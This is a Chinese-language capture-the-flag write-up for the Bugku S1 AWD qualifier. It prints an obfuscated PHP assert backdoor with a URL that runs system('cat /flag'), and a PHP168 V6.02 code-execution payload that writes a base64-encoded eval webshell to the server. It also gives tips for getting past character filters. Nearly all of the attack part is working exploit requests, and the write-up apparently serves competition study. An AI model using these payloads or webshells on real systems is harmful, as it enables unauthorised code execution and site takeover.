Bugku S1 AWD排位赛-1 Writeup

漏洞1 内置后门

在/var/www/html/inc/shell.php中内置了后门

1
<?php $poc="a#s#s#e#r#t"; $poc_1=explode("#",$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET['s']) ?>

poc

1
http://114.67.246.176:12442/inc/shell.php?s=print(system('cat /flag'))

漏洞2 PHP168 V6.02执行任意代码漏洞

正常注册用户后,验证漏洞,查看phpinfo

1
http://114.67.246.176:12442/member/post.php?only=1&showHtml_Type[bencandy][1]={${phpinfo()}}&aid=1&job=endHTML


写入shell,生成member/shell.php

1
http://114.67.246.176:12442/member/post.php?only=1&showHtml_Type[bencandy][1]={${fputs(fopen(base64_decode(c2hlbGwucGhw),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUWydqeHN3Y3knXSk7Pz4g))}}&aid=1&job=endHTML

get shell

细节

1:因eval被过滤了,使用fputs(fopen())代替
2.因语句不能含有! = /等字符,构造一句话木马时候,注意凑字数,如本例中,一句话木马为<?php @eval($_POST['jxswcy']);?>,base64编码后为PD9waHAgQGV2YWwoJF9QT1NUWydqeHN3Y3knXSk7Pz4=,写入会有问题,一句话木马后加上一个空格,即可消除=